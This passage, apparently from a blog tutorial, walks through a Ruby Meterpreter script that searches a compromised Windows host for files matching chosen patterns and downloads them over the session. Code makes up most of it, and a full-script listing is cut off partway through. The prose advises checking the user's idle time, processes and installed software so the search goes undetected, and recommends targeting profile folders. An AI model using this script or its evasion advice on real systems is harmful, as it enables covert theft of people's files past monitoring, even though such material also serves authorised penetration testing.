</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        …………
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">else</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        usage
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">end</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">else</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_error[&quot;<span style="color: #8b0000">This script is not supported on this version of Meterpreter.</span>&quot;]
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">end</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>Once we have all of our checks in place we will parse the options and populate our variables with the information that we need to get our tasks done. </p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">@opts.parse(args) { |opt, idx, val|
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">case</span> opt
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">when</span> &quot;<span style="color: #8b0000">-h</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        usage
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">when</span> &quot;<span style="color: #8b0000">-i</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        input_file = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">when</span> &quot;<span style="color: #8b0000">-o</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        output_file = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">when</span> &quot;<span style="color: #8b0000">-d</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        location = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">when</span> &quot;<span style="color: #8b0000">-f</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        search_blob = val.<span style="color: #00008b">split</span>(&quot;<span style="color: #8b0000">|</span>&quot;)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">when</span> &quot;<span style="color: #8b0000">-r</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        recurse = <span style="color: #0000ff">true</span>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">when</span> &quot;<span style="color: #8b0000">-l</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        logs = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">end</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">}</pre></pre>

<p>You will see that for the –f option we are splitting the values given and returns an array with each element containing each of the search strings we want to search for. Now that we have populated the variables with the values of the options we passes to the script we can know perform the task for what we wrote the script for. First thing we will do is perform our search making sure we provided a source directory and we make sure our search blob array contains values.</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000"># Search for files and save their location if specified</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">if</span> search_blob.length &gt; 0 <span style="color: #0000ff">and</span> location
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    search_blob.each <span style="color: #0000ff">do</span> |s|
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        print_status(&quot;<span style="color: #8b0000">Searching for #{s}</span>&quot;)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        results = @client.fs.file.search(location,s,recurse)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        results.each <span style="color: #0000ff">do</span> |file|
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            print_status(&quot;<span style="color: #8b0000">\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)</span>&quot;)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            file_local_write(output_file,&quot;<span style="color: #8b0000">#{file['path']}\\#{file['name']}</span>&quot;) <span style="color: #0000ff">if</span> output_file
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <span style="color: #0000ff">end</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">end</span>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">end</span></pre></pre>

<p>As you can see we will only write the results to a file if we provided an output file, by using the file_local_write Meterpreter mixin we make sure that if the file does not exist it will be created for us and save us from writing a function for writing what we want to a file. Now we will add the code for reading our file after we edited it and decided which ones we want to download. </p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000"># Read log file and download those files found</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">if</span> input_file <span style="color: #0000ff">and</span> logs
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">if</span> ::<a style="color: #ff0000" href="http://www.ruby-doc.org/docs/rdoc/1.9/classes/File.html">File</a>.<span style="color: #00008b">exists</span>?(input_file)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        print_status(&quot;<span style="color: #8b0000">Reading file #{input_file}</span>&quot;)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        ::<a style="color: #ff0000" href="http://www.ruby-doc.org/docs/rdoc/1.9/classes/File.html">File</a>.<span style="color: #00008b">open</span>(input_file, &quot;<span style="color: #8b0000">r</span>&quot;).each_line <span style="color: #0000ff">do</span> |line|
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            print_status(&quot;<span style="color: #8b0000">Downloading #{line.chomp}</span>&quot;)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            @client.fs.file.download(logs, line.<span style="color: #00008b">chomp</span>)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <span style="color: #0000ff">end</span>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">else</span></pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        print_error(&quot;<span style="color: #8b0000">File #{input_file} does not exist!</span>&quot;)</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">end</span></pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">end</span></pre></pre>

<p>The script would be used to search for specific files, now one thing to consider when doing the searching is that searching all disk will cause I/O activity on the system that is bound to be detected if: </p>

<p>1. There is monitoring software in the case of servers. </p>

<p>2. A user is currently using the target machine. </p>

<p>So it is very important to check the idle time of the user on the box, check processes and installed software on that box to make sure your action will not be detected if you run the search thru out the system. A target search of the users profile is a better approach in the case of desktop system since Windows and applications tends to save most data in those folders, using the get_env script can aid in identifying the location of this folders since it will show user and system environment variables. Also do check the size of the files before downloading, you would not have much success trying to download a 2GB PST thru a 300kb connection. I do hope you found this blog post useful and informative. </p>

<p>Full script: </p>

<p>&#160;</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">@client = client
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">location = nil
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">search_blob = nil
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">input_file = nil
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">output_file = nil
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">recurse = <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=false&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">false</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">logs = nil
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">@opts = Rex::Parser::Arguments.new(
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-h</span>&quot; =&gt; [<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=false&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">false</a>, &quot;<span style="color: #8b0000">Help menu.</span>&quot; ],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-i</span>&quot; =&gt; [<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=true&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">true</a>, &quot;<span style="color: #8b0000">Input file with list of files to download, one per line.</span>&quot;],
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-d</span>&quot; =&gt; [<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=true&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">true</a>, &quot;<span style="color: #8b0000">Directory to start search on, search will be recursive.</span>&quot;],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-f</span>&quot; =&gt; [<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=true&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">true</a>, &quot;<span style="color: #8b0000">Search blobs separated by a |.</span>&quot;],
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-o</span>&quot; =&gt; [<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=true&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">true</a>, &quot;<span style="color: #8b0000">Output File to save the full path of files found.</span>&quot;],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-r</span>&quot; =&gt; [<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=false&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">false</a>, &quot;<span style="color: #8b0000">Search subdirectories.</span>&quot;],
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-l</span>&quot; =&gt; [<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=true&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">true</a>, &quot;<span style="color: #8b0000">Location where to save the files.</span>&quot;]
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"># <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=Function&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">Function</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=for&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">for</a> displaying help message
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">def <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=usage&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">usage</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_line &quot;<span style="color: #8b0000">Meterpreter Script for searching and downloading files that</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_line &quot;<span style="color: #8b0000">match a specific pattern.</span>&quot;
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_line(@opts.<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=usage&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">usage</a>)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    raise Rex::Script::Completed
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"># <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=Check&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">Check</a> that we <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=are&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">are</a> running under the <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=right&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">right</a> type <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=of&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">of</a> Meterpreter
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=if&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">if</a> client.platform =~ /win32|win64/
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    # Parse the options
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=if&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">if</a> args.length &gt; 0
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        @opts.parse(args) { |opt, idx, val|
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=case&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">case</a> opt
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=when&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">when</a> &quot;<span style="color: #8b0000">-h</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=usage&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">usage</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=when&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">when</a> &quot;<span style="color: #8b0000">-i</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                input_file = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=when&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">when</a> &quot;<span style="color: #8b0000">-o</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                output_file = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=when&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">when</a> &quot;<span style="color: #8b0000">-d</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                location = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=when&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">when</a> &quot;<span style="color: #8b0000">-f</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                search_blob = val.split(&quot;<span style="color: #8b0000">|</span>&quot;)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=when&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">when</a> &quot;<span style="color: #8b0000">-r</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                recurse = <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=true&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">true</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=when&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">when</a> &quot;<span style="color: #8b0000">-l</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                logs = val
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        }
